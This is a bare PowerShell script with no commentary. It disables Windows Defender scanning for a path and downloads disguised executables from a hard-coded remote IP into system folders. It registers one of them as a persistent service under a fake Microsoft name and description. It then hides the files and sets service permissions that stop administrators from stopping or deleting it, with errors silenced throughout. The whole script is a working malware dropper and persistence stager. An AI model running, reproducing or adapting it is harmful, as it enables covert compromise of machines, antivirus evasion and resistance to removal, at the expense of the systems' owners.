Add-MpPreference -ExclusionPath C:\ProgramData\Microsoft\Windows\WER\services.exe
$ErrorActionPreference= 'silentlycontinue'
(new-object Net.WebClient).DownloadFile('http://130.185.118.247:9090/tomcaterror.bmpqoq','C:\ProgramData\Microsoft\Windows\WER\services.exe')
(new-object Net.WebClient).DownloadFile('http://130.185.118.247:9090/nssm.exe','C:\ProgramData\Microsoft\Windows\Templates\services.exe')
(new-object Net.WebClient).DownloadFile('http://130.185.118.247:9090/lisence.shm','C:\ProgramData\Microsoft\Windows\WER\JavaCore.sys')
Add-MpPreference -ExclusionPath C:\ProgramData\Microsoft\Windows\WER\services.exe
$ErrorActionPreference= 'silentlycontinue'
C:\ProgramData\Microsoft\Windows\Templates\services.exe install "MSIInstall service" C:\ProgramData\Microsoft\Windows\WER\services.exe | Out-Null
C:\ProgramData\Microsoft\Windows\Templates\services.exe set "MSIInstall service" DisplayName "MSIInstall service" | Out-Null
C:\ProgramData\Microsoft\Windows\Templates\services.exe set "MSIInstall service" Description "Manages profiles and accounts on a SharedPC configured device" | Out-Null
C:\ProgramData\Microsoft\Windows\Templates\services.exe start "MSIInstall service" | Out-Null
C:\windows\system32\attrib +a +s +h +r C:\ProgramData\Microsoft\Windows\Templates\services.exe
$ErrorActionPreference= 'silentlycontinue'
C:\windows\system32\attrib +a +s +h +r C:\ProgramData\Microsoft\Windows\Wer\*
$ErrorActionPreference= 'silentlycontinue'
C:\Windows\system32\sc.exe sdset "msiinstall service" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" | Out-Null
$ErrorActionPreference= 'silentlycontinue'
C:\Windows\system32\sc.exe sdset "msiinstall service" "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" | Out-Null